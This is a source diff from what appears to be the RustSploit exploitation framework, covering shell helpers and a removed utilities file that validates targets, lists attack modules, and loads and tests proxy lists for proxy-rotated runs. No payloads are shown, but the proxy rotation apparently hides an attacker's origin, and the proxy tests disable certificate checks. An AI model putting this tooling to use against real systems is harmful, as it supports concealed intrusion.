let trimmed = input.trim();
if trimmed.is_empty() {
return None;
}
if trimmed.contains("..") || trimmed.contains('\\') {
return None;
}
let valid = trimmed.chars().all(|c| {
matches!(
c,
'a'..='z'
| 'A'..='Z'
| '0'..='9'
| '/'
| '_'
| '-'
)
});
if valid {
Some(trimmed.to_string())
} else {
None
}
}
fn sanitize_target(input: &str) -> std::result::Result<String, &'static str> {
let trimmed = input.trim();
if trimmed.is_empty() {
return Err("Target cannot be empty.");
}
if trimmed.len() > MAX_TARGET_LENGTH {
return Err("Target value is too long.");
}
if trimmed.chars().any(|c| c.is_control()) {
return Err("Target cannot contain control characters.");
}
Ok(trimmed.to_string())
}
fn render_help() {
println!();
println!("{}", "RustSploit Command Palette".bold().underline());
println!(
"{}",
"Shortcuts are case-insensitive. Example: `f1 ssh` searches for SSH modules."
.dimmed()
);
println!();
let entries = vec![
("help", "help | h | ?", "Show this screen"),
("modules", "modules | ls | m", "List available modules"),
("find", "find <kw> | f1 <kw>", "Search modules by keyword"),
("use", "use <path> | u <path>", "Select a module to run"),
("set target", "set target <value>", "Set current target host/IP"),
("run", "run | go", "Execute selected module (with proxy rotation)"),
("back", "back | b | clear | reset", "Clear current module and target"),
("proxy_load", "proxy_load [file] | pl", "Load proxy list from file"),
("proxy_on", "proxy_on | pon", "Enable proxy usage"),
("proxy_off", "proxy_off | poff", "Disable proxy usage"),
("proxy_test", "proxy_test | ptest", "Validate loaded proxies"),
("show_proxies", "show_proxies | proxies", "Display proxy status"),
("exit", "exit | quit | q", "Leave the shell"),
];
println!("{}", format!("{:<16} {:<25} {}", "Command", "Shortcuts", "Description").bold());
println!("{}", "-".repeat(72).dimmed());
for (cmd, shortcuts, desc) in entries {
println!("{:<16} {:<25} {}", cmd.green(), shortcuts.cyan(), desc);
}
println!();
println!(
"{}",
"Need more context? Try `modules`, then `use category/module_name`, and finally `run`."
.dimmed()
);
println!();
}
async fn test_current_proxies(ctx: &mut ShellContext) -> Result<()> {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded to test.");
return Ok(());
}
let total = ctx.proxy_list.len();
let test_url = prompt_string_default("Proxy test URL", "https://example.com")?;
let timeout_secs = prompt_u64("Proxy test timeout (seconds)", 5)?;
let max_parallel = prompt_usize("Max concurrent proxy tests", 10)?;
println!(
"[*] Testing {} proxy entr{} (timeout: {}s, concurrency: {})",
total,
if total == 1 { "y" } else { "ies" },
timeout_secs,
max_parallel
);
let summary = utils::test_proxies(&ctx.proxy_list, &test_url, timeout_secs, max_parallel).await;
let working_count = summary.working.len();
let failed = summary.failed;
let working = summary.working;
if working_count == 0 {
println!("{}", "[-] No proxies passed the connectivity test.".red());
} else {
println!(
"{}",
format!("[+] {} proxies passed the connectivity test.", working_count).green()
);
}
if !failed.is_empty() {
println!(
"{}",
format!("[-] {} proxies failed validation:", failed.len()).yellow()
);
for failure in &failed {
println!(" {} -> {}", failure.proxy, failure.reason);
}
}
ctx.proxy_list = working;
if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
println!("[!] Proxy list is empty after testing. Disabling proxy usage.");
ctx.proxy_enabled = false;
clear_proxy_env_vars();
}
Ok(())
}
fn prompt_for_path(message: &str) -> io::Result<String> {
loop {
print!("{}", message);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let value = input.trim();
if !value.is_empty() {
return Ok(value.to_string());
}
println!("Path cannot be empty. Please try again.");
}
}
fn prompt_string_default(message: &str, default: &str) -> io::Result<String> {
print!("{} [{}]: ", message, default);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_yes_no(message: &str, default_yes: bool) -> io::Result<bool> {
let default_hint = if default_yes { "Y/n" } else { "y/N" };
loop {
print!("{} [{}]: ", message, default_hint);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Please answer with 'y' or 'n'."),
}
}
}
fn prompt_u64(message: &str, default: u64) -> io::Result<u64> {
loop {
print!("{} [{}]: ", message, default);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
return Ok(default);
}
match trimmed.parse::<u64>() {
Ok(value) if value > 0 => return Ok(value),
_ => println!("Invalid number. Please enter a positive integer."),
}
}
}
fn prompt_usize(message: &str, default: usize) -> io::Result<usize> {
loop {
print!("{} [{}]: ", message, default);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
return Ok(default);
}
match trimmed.parse::<usize>() {
Ok(value) if value > 0 => return Ok(value),
_ => println!("Invalid number. Please enter a positive integer."),
}
}
}
-644
View File
@@ -1,644 +0,0 @@
// src/utils.rs
use colored::*;
use std::fs;
use std::io::{BufRead, BufReader};
use std::path::Path;
use std::sync::Arc;
use std::time::Duration;
use anyhow::{Result, anyhow, Context};
use futures::stream::{FuturesUnordered, StreamExt};
use reqwest;
use tokio::sync::Semaphore;
use url::Url;
use regex::Regex;
/// Maximum folder depth to traverse
const MAX_DEPTH: usize = 6;
/// Maximum length for target strings to prevent DoS
const MAX_TARGET_LENGTH: usize = 2048;
/// Maximum length for module paths
const MAX_MODULE_PATH_LENGTH: usize = 512;
/// Maximum file size to read (10MB) - prevents reading huge files
const MAX_FILE_SIZE: u64 = 10 * 1024 * 1024;
/// Maximum number of proxies to process
const MAX_PROXIES: usize = 100000;
/// Maximum parallel proxy tests
const MAX_PARALLEL_PROXIES: usize = 1000;
/// Maximum timeout for proxy tests (5 minutes)
const MAX_PROXY_TIMEOUT_SECS: u64 = 300;
/// Take "1.2.3.4", "::1", "[::1]:8080" or "hostname" and
/// always return a valid "host:port" or "[ipv6]:port" string.
///
/// # Security
/// - Validates input length to prevent DoS
/// - Sanitizes input to prevent injection
/// - Validates hostname format
pub fn normalize_target(raw: &str) -> Result<String> {
// Input validation
let trimmed = raw.trim();
// Check length to prevent DoS
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty"));
}
if trimmed.len() > MAX_TARGET_LENGTH {
return Err(anyhow!(
"Target too long (max {} characters, got {})",
MAX_TARGET_LENGTH,
trimmed.len()
));
}
// Basic sanitization - remove control characters and excessive whitespace
let sanitized: String = trimmed
.chars()
.filter(|c| !c.is_control() || *c == ' ' || *c == '\t')
.collect::<String>()
.split_whitespace()
.collect::<Vec<_>>()
.join(" ");
if sanitized.is_empty() {
return Err(anyhow!("Target contains only invalid characters"));
}
// Check for path traversal attempts
if sanitized.contains("..") || sanitized.contains("//") {
return Err(anyhow!("Invalid target format: contains path traversal characters"));
}
// Handle already normalized formats
if sanitized.contains("]:") || sanitized.starts_with('[') {
// Validate the format
if sanitized.starts_with('[') && !sanitized.contains(']') {
return Err(anyhow!("Invalid IPv6 format: missing closing bracket"));
}
// Basic validation - check it's not just brackets
let inner = sanitized.trim_matches(|c| c == '[' || c == ']');
if inner.is_empty() {
return Err(anyhow!("Invalid target: empty address"));
}
return Ok(sanitized.to_string());
}
// Detect IPv6 addresses (multiple colons, no dots)
let colon_count = sanitized.matches(':').count();
let has_dots = sanitized.contains('.');
// IPv6 detection: multiple colons and no dots (or dots only in port)
let is_ipv6 = colon_count >= 2 && !has_dots;
// Additional IPv6 validation
if is_ipv6 {
// Check for valid IPv6 characters
let ipv6_re = Regex::new(r"^[0-9a-fA-F:]+$").unwrap();
let addr_part = sanitized.split(':').next().unwrap_or("");
if !ipv6_re.is_match(addr_part) && !addr_part.is_empty() {
return Err(anyhow!("Invalid IPv6 address format: '{}'", sanitized));
}
Ok(format!("[{}]", sanitized))
} else {
// Validate hostname/IPv4 format
// Basic validation: no spaces, reasonable characters
if sanitized.contains(' ') {
return Err(anyhow!("Invalid target format: contains spaces"));
}
// Check for valid hostname/IPv4 characters
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:]+$").unwrap();
if !host_re.is_match(&sanitized) {
return Err(anyhow!("Invalid target format: contains invalid characters"));
}
Ok(sanitized.to_string())
}
}
/// Recursively list .rs files up to a certain depth with security checks
fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
let mut modules = Vec::new();
// Depth limit to prevent infinite recursion
if depth > MAX_DEPTH {
return modules;
}
// Validate directory exists and is readable
if !dir.exists() {
return modules;
}
// Prevent path traversal - ensure we're within src/modules
let modules_base = Path::new("src/modules");
if !dir.starts_with(modules_base) && depth > 0 {
// Only allow traversal within src/modules
return modules;
}
// Read directory with error handling
let entries = match fs::read_dir(dir) {
Ok(entries) => entries,
Err(_) => return modules, // Silently skip unreadable directories
};
for entry in entries.flatten() {
let path = entry.path();
// Check for symlinks that might cause issues
if path.is_symlink() {
continue; // Skip symlinks for security
}
if path.is_dir() {
// Recursively collect from subdirectories
modules.extend(collect_module_paths(&path, depth + 1));
} else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
// Only process .rs files, skip mod.rs
if file_name.ends_with(".rs") && file_name != "mod.rs" {
// Validate path length
let relative_path = match path.strip_prefix("src/modules") {
Ok(rel) => rel,
Err(_) => &path, // Fallback to full path if strip fails
};
let path_str = relative_path
.with_extension("")
.to_string_lossy()
.replace('\\', "/"); // Windows path normalization
// Validate path length
if path_str.len() <= MAX_MODULE_PATH_LENGTH {
modules.push(path_str);
}
}
}
}
modules
}
/// Dynamically checks if a module path exists at any depth with validation
pub fn module_exists(module_path: &str) -> bool {
// Input validation
if module_path.is_empty() {
return false;
}
if module_path.len() > MAX_MODULE_PATH_LENGTH {
return false;
}
// Check for path traversal attempts
if module_path.contains("..") || module_path.contains("//") {
return false;
}
let modules = collect_module_paths(Path::new("src/modules"), 0);
modules.iter().any(|m| m == module_path)
}
/// Lists all available modules recursively under src/modules/
pub fn list_all_modules() {
println!("{}", "Available modules:".bold().underline());
let modules = collect_module_paths(Path::new("src/modules"), 0);
if modules.is_empty() {
println!("{}", "No modules found.".red());
return;
}
let mut grouped = std::collections::BTreeMap::new();
for module in modules {
let parts: Vec<&str> = module.split('/').collect();
let category = parts.get(0).unwrap_or(&"Other").to_string();
grouped
.entry(category)
.or_insert_with(Vec::new)
.push(module.clone());
}
for (category, paths) in grouped {
println!("\n{}:", category.blue().bold());
for path in paths {
println!(" - {}", path.green());
}
}
}
/// Finds and displays modules matching a keyword with validation
pub fn find_modules(keyword: &str) {
// Input validation
if keyword.is_empty() {
println!("{}", "Keyword cannot be empty.".red());
return;
}
// Limit keyword length
if keyword.len() > 100 {
println!("{}", "Keyword too long (max 100 characters).".red());
return;
}
let keyword_lower = keyword.to_lowercase();
let modules = collect_module_paths(Path::new("src/modules"), 0);
let filtered: Vec<String> = modules
.into_iter()
.filter(|m| m.to_lowercase().contains(&keyword_lower))
.collect();
if filtered.is_empty() {
println!(
"{}",
format!("No modules found matching '{}'.", keyword).red()
);
return;
}
println!(
"{}",
format!("Modules matching '{}':", keyword).bold().underline()
);
let mut grouped = std::collections::BTreeMap::new();
for module in filtered {
let parts: Vec<&str> = module.split('/').collect();
let category = parts.get(0).unwrap_or(&"Other").to_string();
grouped
.entry(category)
.or_insert_with(Vec::new)
.push(module.clone());
}
for (category, paths) in grouped {
println!("\n{}:", category.blue().bold());
for path in paths {
println!(" - {}", path.green());
}
}
}
const SUPPORTED_PROXY_SCHEMES: &[&str] = &["http", "https", "socks4", "socks4a", "socks5", "socks5h"];
#[derive(Debug, Clone)]
pub struct ProxyParseError {
pub line_number: usize,
pub content: String,
pub reason: String,
}
#[derive(Debug, Clone)]
pub struct ProxyLoadSummary {
pub proxies: Vec<String>,
pub skipped: Vec<ProxyParseError>,
}
#[derive(Debug, Clone)]
pub struct ProxyTestFailure {
pub proxy: String,
pub reason: String,
}
#[derive(Debug, Clone)]
pub struct ProxyTestSummary {
pub working: Vec<String>,
pub failed: Vec<ProxyTestFailure>,
}
/// Validates and sanitizes a proxy URL
fn validate_proxy_url(url: &Url) -> Result<()> {
// Check scheme
if !SUPPORTED_PROXY_SCHEMES.iter().any(|scheme| url.scheme() == *scheme) {
return Err(anyhow!("unsupported proxy scheme '{}'", url.scheme()));
}
// Validate host
let host = url.host_str()
.ok_or_else(|| anyhow!("missing proxy host"))?;
// Validate host length
if host.is_empty() {
return Err(anyhow!("proxy host cannot be empty"));
}
if host.len() > 253 { // Max DNS hostname length
return Err(anyhow!("proxy host too long (max 253 characters)"));
}
// Validate hostname format (basic check)
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
if !host_re.is_match(host) {
return Err(anyhow!("invalid proxy host format"));
}
// Check for localhost/private IP abuse (warning only, not blocking)
if host == "localhost" || host == "127.0.0.1" || host == "::1" {
// Allow but could log warning in production
}
// Validate port
let port = url.port()
.ok_or_else(|| anyhow!("missing proxy port"))?;
if port == 0 {
return Err(anyhow!("proxy port cannot be 0"));
}
// Port is already validated to be in u16 range (0-65535) by Url::parse
// We just need to check it's not 0 (already checked above)
// Additional validation: check for common restricted ports if needed
Ok(())
}
/// Attempt to normalise and validate a proxy entry with enhanced security
fn normalize_proxy_candidate(line: &str) -> Result<String> {
let trimmed = line.trim();
// Input validation
if trimmed.is_empty() {
return Err(anyhow!("empty line"));
}
// Length check to prevent DoS
if trimmed.len() > 2048 {
return Err(anyhow!("proxy line too long (max 2048 characters)"));
}
// Sanitize input - remove control characters (but allow newline/carriage return for line processing)
let sanitized: String = trimmed
.chars()
.filter(|c| {
let ch = *c;
!ch.is_control() || ch == '\n' || ch == '\r'
})
.collect();
if sanitized.is_empty() {
return Err(anyhow!("proxy line contains only invalid characters"));
}
// Add scheme if missing
let candidate = if sanitized.contains("://") {
sanitized
} else {
format!("http://{}", sanitized)
};
// Parse URL
let url = Url::parse(&candidate)
.map_err(|e| anyhow!("invalid proxy syntax: {}", e))?;
// Validate the proxy URL
validate_proxy_url(&url)?;
Ok(candidate)
}
/// Load proxies from a file with enhanced security and validation
pub fn load_proxies_from_file(filename: &str) -> Result<ProxyLoadSummary> {
// Input validation
if filename.is_empty() {
return Err(anyhow!("filename cannot be empty"));
}
// Path validation - prevent path traversal
let path = Path::new(filename);
// Check for path traversal attempts
if filename.contains("..") {
return Err(anyhow!("path traversal detected in filename: '{}'", filename));
}
// Resolve to absolute path to check
let canonical = path.canonicalize()
.map_err(|e| anyhow!("failed to resolve file path '{}': {}", filename, e))?;
// Check file exists and is a regular file
if !canonical.is_file() {
return Err(anyhow!("'{}' is not a regular file", filename));
}
// Check file size to prevent reading huge files
let metadata = fs::metadata(&canonical)
.with_context(|| format!("failed to read file metadata for '{}'", filename))?;
if metadata.len() > MAX_FILE_SIZE {
return Err(anyhow!(
"file too large (max {} bytes, got {} bytes)",
MAX_FILE_SIZE,
metadata.len()
));
}
// Open file
let file = fs::File::open(&canonical)
.with_context(|| format!("failed to open proxy file '{}'", filename))?;
let reader = BufReader::new(file);
let mut proxies = Vec::new();
let mut skipped = Vec::new();
let mut line_count = 0usize;
for (idx, line_res) in reader.lines().enumerate() {
line_count = idx + 1;
// Limit number of lines to process
if line_count > MAX_PROXIES {
skipped.push(ProxyParseError {
line_number: line_count,
content: format!("... (truncated after {} lines)", MAX_PROXIES),
reason: format!("file exceeds maximum line limit ({})", MAX_PROXIES),
});
break;
}
let raw_line = line_res
.with_context(|| format!("failed to read line {} in '{}'", idx + 1, filename))?;
let trimmed = raw_line.trim();
// Skip empty lines and comments
if trimmed.is_empty() || trimmed.starts_with('#') || trimmed.starts_with("//") {
continue;
}
match normalize_proxy_candidate(trimmed) {
Ok(proxy) => proxies.push(proxy),
Err(err) => skipped.push(ProxyParseError {
line_number: idx + 1,
content: if trimmed.len() > 100 {
format!("{}...", &trimmed[..100])
} else {
trimmed.to_string()
},
reason: err.to_string(),
}),
}
}
if proxies.is_empty() {
return Err(anyhow!("no valid proxies found in '{}' (processed {} lines)", filename, line_count));
}
// Limit number of proxies
if proxies.len() > MAX_PROXIES {
let original_count = proxies.len();
proxies.truncate(MAX_PROXIES);
return Err(anyhow!(
"too many proxies (max {}, found {}). Truncated to {}",
MAX_PROXIES,
original_count,
MAX_PROXIES
));
}
Ok(ProxyLoadSummary { proxies, skipped })
}
/// Test proxies concurrently with enhanced validation and resource limits
pub async fn test_proxies(
proxies: &[String],
test_url: &str,
timeout_secs: u64,
max_parallel: usize,
) -> ProxyTestSummary {
// Input validation
if proxies.is_empty() {
return ProxyTestSummary {
working: Vec::new(),
failed: Vec::new(),
};
}
// Validate and limit inputs
let timeout_secs = timeout_secs.min(MAX_PROXY_TIMEOUT_SECS).max(1);
let max_parallel = max_parallel.min(MAX_PARALLEL_PROXIES).max(1);
// Limit number of proxies to test
let proxies_to_test = if proxies.len() > MAX_PROXIES {
&proxies[..MAX_PROXIES]
} else {
proxies
};
// Validate test URL
let test_url = test_url.trim();
if test_url.is_empty() {
return ProxyTestSummary {
working: Vec::new(),
failed: proxies_to_test.iter().map(|p| ProxyTestFailure {
proxy: p.clone(),
reason: "test URL is empty".to_string(),
}).collect(),
};
}
// Validate URL format
if let Err(e) = Url::parse(test_url) {
return ProxyTestSummary {
working: Vec::new(),
failed: proxies_to_test.iter().map(|p| ProxyTestFailure {
proxy: p.clone(),
reason: format!("invalid test URL: {}", e),
}).collect(),
};
}
let timeout = Duration::from_secs(timeout_secs);
let semaphore = Arc::new(Semaphore::new(max_parallel));
let mut tasks = FuturesUnordered::new();
for proxy in proxies_to_test.iter().cloned() {
let test_url = test_url.to_string();
let semaphore = Arc::clone(&semaphore);
tasks.push(tokio::spawn(async move {
let permit = match semaphore.acquire_owned().await {
Ok(p) => p,
Err(_) => {
return (proxy, Err(anyhow!("failed to acquire semaphore permit")));
}
};
let _permit = permit;
let result = check_proxy(&proxy, &test_url, timeout).await;
(proxy, result)
}));
}
let mut summary = ProxyTestSummary {
working: Vec::new(),
failed: Vec::new(),
};
while let Some(res) = tasks.next().await {
match res {
Ok((proxy, Ok(()))) => summary.working.push(proxy),
Ok((proxy, Err(err))) => summary.failed.push(ProxyTestFailure {
proxy,
reason: err.to_string(),
}),
Err(join_err) => summary.failed.push(ProxyTestFailure {
proxy: "<spawn failed>".to_string(),
reason: join_err.to_string(),
}),
}
}
summary
}
/// Check a single proxy with enhanced error handling and validation
async fn check_proxy(proxy: &str, test_url: &str, timeout: Duration) -> Result<()> {
// Validate inputs
if proxy.is_empty() {
return Err(anyhow!("proxy cannot be empty"));
}
if test_url.is_empty() {
return Err(anyhow!("test URL cannot be empty"));
}
// Validate URL format
let _test_url_parsed = Url::parse(test_url)
.map_err(|e| anyhow!("invalid test URL '{}': {}", test_url, e))?;
// Create proxy configuration
let proxy_cfg = reqwest::Proxy::all(proxy)
.with_context(|| format!("invalid proxy '{}'", proxy))?;
// Build HTTP client with timeout
let client = reqwest::Client::builder()
.timeout(timeout)
.proxy(proxy_cfg)
.danger_accept_invalid_certs(true)
.build()
.context("failed to build reqwest client")?;
// Make request with timeout
let response = client
.get(test_url)
.timeout(timeout)
.send()
.await
.with_context(|| format!("request via proxy '{}' failed", proxy))?;
// Check response status
let status = response.status();
if !status.is_success() {
return Err(anyhow!(
"received HTTP status {} while hitting {}",
status,
test_url
));
}
Ok(())
}